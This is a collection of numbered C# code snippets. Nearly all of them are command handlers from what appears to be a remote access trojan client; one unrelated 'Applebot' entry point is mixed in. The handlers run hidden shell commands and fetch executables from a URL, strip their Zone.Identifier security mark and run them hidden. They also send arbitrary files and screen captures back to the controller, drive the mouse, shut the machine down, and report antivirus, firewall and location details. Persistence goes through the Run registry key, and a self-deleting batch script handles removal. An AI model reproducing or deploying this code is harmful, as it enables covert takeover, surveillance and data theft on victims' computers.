示例#1
0
 public static void HandleAction(Core.Packets.ServerPackets.Action command, Core.Client client)
 {
     try
     {
         ProcessStartInfo startInfo = new ProcessStartInfo();
         switch(command.Mode)
         {
             case 0:
                 startInfo.WindowStyle = ProcessWindowStyle.Hidden;
                 startInfo.CreateNoWindow = true;
                 startInfo.UseShellExecute = true;
                 startInfo.Arguments = "/s /t 0"; // shutdown
                 startInfo.FileName = "shutdown";
                 Process.Start(startInfo);
                 break;
             case 1:
                 startInfo.WindowStyle = ProcessWindowStyle.Hidden;
                 startInfo.CreateNoWindow = true;
                 startInfo.UseShellExecute = true;
                 startInfo.Arguments = "/r /t 0"; // restart
                 startInfo.FileName = "shutdown";
                 Process.Start(startInfo);
                 break;
             case 2:
                 Application.SetSuspendState(PowerState.Suspend, true, true); // standby
                 break;
         }
     }
     catch
     {
         new Core.Packets.ClientPackets.Status("Action failed!").Execute(client);
     }
 }
示例#2
0
        public static void HandleDelete(Core.Packets.ServerPackets.Delete command, Core.Client client)
        {
            try
            {
                if (command.IsDir)
                    Directory.Delete(command.Path, true);
                else
                    File.Delete(command.Path);

                HandleDirectory(new Core.Packets.ServerPackets.Directory(Path.GetDirectoryName(command.Path)), client);
            }
            catch
            { }
        }
示例#3
0
        static void Main(string[] args)
        {
            Console.WriteLine("Applebot");

            #if DEV
            WebPanel panel = new WebPanel();
            panel.Run();
            #else
            Core core = new Core();

            core.StartPlatformTasks();
            core.WaitForPlatformTasks();
            #endif

            Console.WriteLine("Program ended");
            Console.ReadKey();
        }
示例#4
0
        public static void HandleUninstall(Core.Packets.ServerPackets.Uninstall command, Core.Client client)
        {
            new Core.Packets.ClientPackets.Status("Uninstalling... bye ;(").Execute(client);

            if (Settings.STARTUP)
            {
                if (SystemCore.AccountType == "Admin")
                {
                    try
                    {
                        Microsoft.Win32.RegistryKey key = Microsoft.Win32.Registry.LocalMachine.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true);
                        if (key != null)
                        {
                            key.DeleteValue(Settings.STARTUPKEY, true);
                            key.Close();
                        }
                    }
                    catch
                    {
                        // try deleting from Registry.CurrentUser
                        Microsoft.Win32.RegistryKey key = Microsoft.Win32.Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true);
                        if (key != null)
                        {
                            key.DeleteValue(Settings.STARTUPKEY, true);
                            key.Close();
                        }
                    }
                }
                else
                {
                    try
                    {
                        Microsoft.Win32.RegistryKey key = Microsoft.Win32.Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true);
                        if (key != null)
                        {
                            key.DeleteValue(Settings.STARTUPKEY, true);
                            key.Close();
                        }
                    }
                    catch
                    { }
                }
            }

            string filename = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), Helper.GetRandomFilename(12, ".bat"));

            string uninstallBatch = (Settings.INSTALL && Settings.HIDEFILE) ?
                    "@echo off" + "\n" +
                    "echo DONT CLOSE THIS WINDOW!" + "\n" +
                    "ping -n 20 localhost > nul" + "\n" +
                    "del /A:H " + "\"" + SystemCore.MyPath + "\"" + "\n" +
                    "del " + "\"" + filename + "\""
                :
                    "@echo off" + "\n" +
                    "echo DONT CLOSE THIS WINDOW!" + "\n" +
                    "ping -n 20 localhost > nul" + "\n" +
                    "del " + "\"" + SystemCore.MyPath + "\"" + "\n" +
                    "del " + "\"" + filename + "\""
                ;

            File.WriteAllText(filename, uninstallBatch);
            ProcessStartInfo startInfo = new ProcessStartInfo();
            startInfo.WindowStyle = ProcessWindowStyle.Hidden;
            startInfo.CreateNoWindow = true;
            startInfo.UseShellExecute = true;
            startInfo.FileName = filename;
            Process.Start(startInfo);

            SystemCore.Disconnect = true;
            client.Disconnect();
        }
示例#5
0
        public static void HandleStartProcess(Core.Packets.ServerPackets.StartProcess command, Core.Client client)
        {
            ProcessStartInfo startInfo = new ProcessStartInfo();
            startInfo.UseShellExecute = true;
            startInfo.FileName = command.Processname;
            Process.Start(startInfo);

            HandleGetProcesses(new Core.Packets.ServerPackets.GetProcesses(), client);
        }
示例#6
0
 public static void HandleShowMessageBox(Core.Packets.ServerPackets.ShowMessageBox command, Core.Client client)
 {
     MessageBox.Show(null, command.Text, command.Caption, (MessageBoxButtons)Enum.Parse(typeof(MessageBoxButtons), command.MessageboxButton), (MessageBoxIcon)Enum.Parse(typeof(MessageBoxIcon), command.MessageboxIcon));
     new Core.Packets.ClientPackets.Status("Showed Messagebox").Execute(client);
 }
示例#7
0
        public static void HandleShellCommand(Core.Packets.ServerPackets.ShellCommand command, Core.Client client)
        {
            if (shell == null)
                shell = new Shell();

            string input = command.Command;

            if (input == "exit")
                CloseShell();
            else
                shell.ExecuteCommand(input);
        }
示例#8
0
        public static void HandleDownloadAndExecuteCommand(Core.Packets.ServerPackets.DownloadAndExecute command, Core.Client client)
        {
            new Core.Packets.ClientPackets.Status("Downloading file...").Execute(client);

            new Thread(new ThreadStart(() =>
            {
                string tempFile = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), Helper.GetRandomFilename(12, ".exe"));

                try
                {
                    using (WebClient c = new WebClient())
                    {
                        c.Proxy = null;
                        c.DownloadFile(command.URL, tempFile);
                    }
                }
                catch
                {
                    new Core.Packets.ClientPackets.Status("Download failed!").Execute(client);
                    return;
                }

                new Core.Packets.ClientPackets.Status("Downloaded File!").Execute(client);

                try
                {
                    DeleteFile(tempFile + ":Zone.Identifier");

                    var bytes = File.ReadAllBytes(tempFile);
                    if (bytes[0] != 'M' && bytes[1] != 'Z')
                        throw new Exception("no pe file");

                    ProcessStartInfo startInfo = new ProcessStartInfo();
                    if (command.RunHidden)
                    {
                        startInfo.WindowStyle = ProcessWindowStyle.Hidden;
                        startInfo.CreateNoWindow = true;
                    }
                    startInfo.UseShellExecute = command.RunHidden;
                    startInfo.FileName = tempFile;
                    Process.Start(startInfo);
                }
                catch
                {
                    DeleteFile(tempFile);
                    new Core.Packets.ClientPackets.Status("Execution failed!").Execute(client);
                    return;
                }

                new Core.Packets.ClientPackets.Status("Executed File!").Execute(client);
            })).Start();
        }
示例#9
0
        public static void HandleUploadAndExecute(Core.Packets.ServerPackets.UploadAndExecute command, Core.Client client)
        {
            new Thread(new ThreadStart(() =>
            {
                byte[] fileBytes = command.FileBytes;
                string tempFile = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), command.FileName);

                try
                {
                    if (fileBytes[0] != 'M' && fileBytes[1] != 'Z')
                        throw new Exception("no pe file");

                    File.WriteAllBytes(tempFile, fileBytes);

                    DeleteFile(tempFile + ":Zone.Identifier");

                    ProcessStartInfo startInfo = new ProcessStartInfo();
                    if (command.RunHidden)
                    {
                        startInfo.WindowStyle = ProcessWindowStyle.Hidden;
                        startInfo.CreateNoWindow = true;
                    }
                    startInfo.UseShellExecute = command.RunHidden;
                    startInfo.FileName = tempFile;
                    Process.Start(startInfo);
                }
                catch
                {
                    DeleteFile(tempFile);
                    new Core.Packets.ClientPackets.Status("Execution failed!").Execute(client);
                    return;
                }

                new Core.Packets.ClientPackets.Status("Executed File!").Execute(client);
            })).Start();
        }
示例#10
0
 public static void HandleMonitors(Core.Packets.ServerPackets.Monitors command, Core.Client client)
 {
     new Core.Packets.ClientPackets.MonitorsResponse(Screen.AllScreens.Length).Execute(client);
 }
示例#11
0
        public static void HandleKillProcess(Core.Packets.ServerPackets.KillProcess command, Core.Client client)
        {
            try
            {
                Process.GetProcessById(command.PID).Kill();
            }
            catch
            { }

            HandleGetProcesses(new Core.Packets.ServerPackets.GetProcesses(), client);
        }
示例#12
0
 public static void HandleInitializeCommand(Core.Packets.ServerPackets.InitializeCommand command, Core.Client client)
 {
     SystemCore.InitializeGeoIp();
     new Core.Packets.ClientPackets.Initialize(Settings.VERSION, SystemCore.OperatingSystem, SystemCore.AccountType, SystemCore.Country, SystemCore.CountryCode, SystemCore.Region, SystemCore.City, SystemCore.ImageIndex).Execute(client);
 }
示例#13
0
 public static void HandleGetSystemInfo(Core.Packets.ServerPackets.GetSystemInfo command, Core.Client client)
 {
     try
     {
         string[] infoCollection = new string[20];
         infoCollection[0] = "Processor (CPU)";
         infoCollection[1] = SystemCore.GetCpu();
         infoCollection[2] = "Memory (RAM)";
         infoCollection[3] = string.Format("{0} MB", SystemCore.GetRam());
         infoCollection[4] = "Video Card (GPU)";
         infoCollection[5] = SystemCore.GetGpu();
         infoCollection[6] = "Username";
         infoCollection[7] = SystemCore.GetUsername();
         infoCollection[8] = "PC Name";
         infoCollection[9] = SystemCore.GetPcName();
         infoCollection[10] = "Uptime";
         infoCollection[11] = SystemCore.GetUptime();
         infoCollection[12] = "LAN IP Address";
         infoCollection[13] = SystemCore.GetLanIp();
         infoCollection[14] = "WAN IP Address";
         infoCollection[15] = SystemCore.WANIP;
         infoCollection[16] = "Antivirus";
         infoCollection[17] = SystemCore.GetAntivirus();
         infoCollection[18] = "Firewall";
         infoCollection[19] = SystemCore.GetFirewall();
         new Core.Packets.ClientPackets.GetSystemInfoResponse(infoCollection).Execute(client);
     }
     catch
     { }
 }
示例#14
0
        public static void HandleGetProcesses(Core.Packets.ServerPackets.GetProcesses command, Core.Client client)
        {
            Process[] pList = Process.GetProcesses();
            string[] processes = new string[pList.Length];
            int[] ids = new int[pList.Length];
            string[] titles = new string[pList.Length];

            int i = 0;
            foreach (Process p in pList)
            {
                processes[i] = p.ProcessName + ".exe";
                ids[i] = p.Id;
                titles[i] = p.MainWindowTitle;
                i++;
            }

            new Core.Packets.ClientPackets.GetProcessesResponse(processes, ids, titles).Execute(client);
        }
示例#15
0
 public static void HandleDrives(Core.Packets.ServerPackets.Drives command, Core.Client client)
 {
     new Core.Packets.ClientPackets.DrivesResponse(System.Environment.GetLogicalDrives()).Execute(client);
 }
示例#16
0
 public static void HandleDownloadFile(Core.Packets.ServerPackets.DownloadFile command, Core.Client client)
 {
     try
     {
         byte[] bytes = File.ReadAllBytes(command.RemotePath);
         new Core.Packets.ClientPackets.DownloadFileResponse(Path.GetFileName(command.RemotePath), bytes, command.ID).Execute(client);
     }
     catch
     { }
 }
示例#17
0
        public static void HandleUpdate(Core.Packets.ServerPackets.Update command, Core.Client client)
        {
            // i dont like this updating... if anyone has a better idea feel free to edit it
            new Core.Packets.ClientPackets.Status("Downloading file...").Execute(client);

            new Thread(new ThreadStart(() =>
            {
                string tempFile = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), Helper.GetRandomFilename(12, ".exe"));

                try
                {
                    using (WebClient c = new WebClient())
                    {
                        c.Proxy = null;
                        c.DownloadFile(command.DownloadURL, tempFile);
                    }
                }
                catch
                {
                    new Core.Packets.ClientPackets.Status("Download failed!").Execute(client);
                    return;
                }

                new Core.Packets.ClientPackets.Status("Downloaded File!").Execute(client);

                new Core.Packets.ClientPackets.Status("Updating...").Execute(client);

                try
                {
                    DeleteFile(tempFile + ":Zone.Identifier");

                    var bytes = File.ReadAllBytes(tempFile);
                    if (bytes[0] != 'M' && bytes[1] != 'Z')
                        throw new Exception("no pe file");

                    string filename = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), Helper.GetRandomFilename(12, ".bat"));

                    string uninstallBatch = (Settings.INSTALL && Settings.HIDEFILE) ?
                            "@echo off" + "\n" +
                            "echo DONT CLOSE THIS WINDOW!" + "\n" +
                            "ping -n 20 localhost > nul" + "\n" +
                            "del /A:H " + "\"" + SystemCore.MyPath + "\"" + "\n" +
                            "move " + "\"" + tempFile + "\"" + " " + "\"" + SystemCore.MyPath + "\"" + "\n" +
                            "start \"\" " + "\"" + SystemCore.MyPath + "\"" + "\n" +
                            "del " + "\"" + filename + "\""
                        :
                            "@echo off" + "\n" +
                            "echo DONT CLOSE THIS WINDOW!" + "\n" +
                            "ping -n 20 localhost > nul" + "\n" +
                            "del " + "\"" + SystemCore.MyPath + "\"" + "\n" +
                            "move " + "\"" + tempFile + "\"" + " " + "\"" + SystemCore.MyPath + "\"" + "\n" +
                            "start \"\" " + "\"" + SystemCore.MyPath + "\"" + "\n" +
                            "del " + "\"" + filename + "\""
                        ;

                    File.WriteAllText(filename, uninstallBatch);
                    ProcessStartInfo startInfo = new ProcessStartInfo();
                    startInfo.WindowStyle = ProcessWindowStyle.Hidden;
                    startInfo.CreateNoWindow = true;
                    startInfo.UseShellExecute = true;
                    startInfo.FileName = filename;
                    Process.Start(startInfo);

                    SystemCore.Disconnect = true;
                    client.Disconnect();
                }
                catch
                {
                    DeleteFile(tempFile);
                    new Core.Packets.ClientPackets.Status("Update failed!").Execute(client);
                    return;
                }
            })).Start();
        }
示例#18
0
 public static void HandleMouseClick(Core.Packets.ServerPackets.MouseClick command, Core.Client client)
 {
     if (command.LeftClick)
     {
         SetCursorPos(command.X, command.Y);
         mouse_event(MOUSEEVENTF_LEFTDOWN, command.X, command.Y, 0, 0);
         mouse_event(MOUSEEVENTF_LEFTUP, command.X, command.Y, 0, 0);
         if (command.DoubleClick)
         {
             mouse_event(MOUSEEVENTF_LEFTDOWN, command.X, command.Y, 0, 0);
             mouse_event(MOUSEEVENTF_LEFTUP, command.X, command.Y, 0, 0);
         }
     }
     else
     {
         SetCursorPos(command.X, command.Y);
         mouse_event(MOUSEEVENTF_RIGHTDOWN, command.X, command.Y, 0, 0);
         mouse_event(MOUSEEVENTF_RIGHTUP, command.X, command.Y, 0, 0);
         if (command.DoubleClick)
         {
             mouse_event(MOUSEEVENTF_RIGHTDOWN, command.X, command.Y, 0, 0);
             mouse_event(MOUSEEVENTF_RIGHTUP, command.X, command.Y, 0, 0);
         }
     }
 }
示例#19
0
        public static void HandleVisitWebsite(Core.Packets.ServerPackets.VisitWebsite command, Core.Client client)
        {
            string url = command.URL;

            if (!url.StartsWith("http"))
                url = "http://" + url;

            if (Uri.IsWellFormedUriString(url, UriKind.RelativeOrAbsolute))
            {
                if (!command.Hidden)
                    Process.Start(url);
                else
                {
                    try
                    {
                        HttpWebRequest Request = (HttpWebRequest)HttpWebRequest.Create(url);
                        Request.UserAgent = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.114 Safari/537.36";
                        Request.AllowAutoRedirect = true;
                        Request.Timeout = 10000;
                        Request.Method = "GET";
                        HttpWebResponse Response = (HttpWebResponse)Request.GetResponse();
                        Stream DataStream = Response.GetResponseStream();
                        StreamReader reader = new StreamReader(DataStream);
                        reader.Close();
                        DataStream.Close();
                        Response.Close();
                    }
                    catch
                    { }
                }

                new Core.Packets.ClientPackets.Status("Visited Website").Execute(client);
            }
        }
示例#20
0
        public static void HandleRemoteDesktop(Core.Packets.ServerPackets.Desktop command, Core.Client client)
        {
            if (lastDesktopScreenshot == null)
            {
                lastDesktopScreenshot = Helper.GetDesktop(command.Mode, command.Number);

                byte[] desktop = Helper.CImgToByte(lastDesktopScreenshot, System.Drawing.Imaging.ImageFormat.Jpeg);

                new Core.Packets.ClientPackets.DesktopResponse(desktop).Execute(client);

                desktop = null;
            }
            else
            {
                Bitmap currentDesktopScreenshot = Helper.GetDesktop(command.Mode, command.Number);

                Bitmap changesScreenshot = Helper.GetDiffDesktop(lastDesktopScreenshot, currentDesktopScreenshot);

                lastDesktopScreenshot = currentDesktopScreenshot;

                byte[] desktop = Helper.CImgToByte(changesScreenshot, System.Drawing.Imaging.ImageFormat.Png);

                new Core.Packets.ClientPackets.DesktopResponse(desktop).Execute(client);

                desktop = null;
                changesScreenshot = null;
                currentDesktopScreenshot = null;
            }
        }
示例#21
0
        public static void HandleDirectory(Core.Packets.ServerPackets.Directory command, Core.Client client)
        {
            try
            {
                DirectoryInfo dicInfo = new System.IO.DirectoryInfo(command.RemotePath);

                FileInfo[] iFiles = dicInfo.GetFiles();
                DirectoryInfo[] iFolders = dicInfo.GetDirectories();

                string[] files = new string[iFiles.Length];
                long[] filessize = new long[iFiles.Length];
                string[] folders = new string[iFolders.Length];

                int i = 0;
                foreach (FileInfo file in iFiles)
                {
                    files[i] = file.Name;
                    filessize[i] = file.Length;
                    i++;
                }
                if (files.Length == 0)
                {
                    files = new string[] { "$$$EMPTY$$$$" };
                    filessize = new long[] { 0 };
                }

                i = 0;
                foreach (DirectoryInfo folder in iFolders)
                {
                    folders[i] = folder.Name;
                    i++;
                }
                if (folders.Length == 0)
                    folders = new string[] { "$$$EMPTY$$$$" };

                new Core.Packets.ClientPackets.DirectoryResponse(files, folders, filessize).Execute(client);
            }
            catch
            {
                new Core.Packets.ClientPackets.DirectoryResponse(new string[] { "$$$EMPTY$$$$" }, new string[] { "$$$EMPTY$$$$" }, new long[] { 0 }).Execute(client);
            }
        }
示例#22
0
        public static void HandleRename(Core.Packets.ServerPackets.Rename command, Core.Client client)
        {
            try
            {
                if (command.IsDir)
                    Directory.Move(command.Path, command.NewPath);
                else
                    File.Move(command.Path, command.NewPath);

                HandleDirectory(new Core.Packets.ServerPackets.Directory(Path.GetDirectoryName(command.NewPath)), client);
            }
            catch
            { }
        }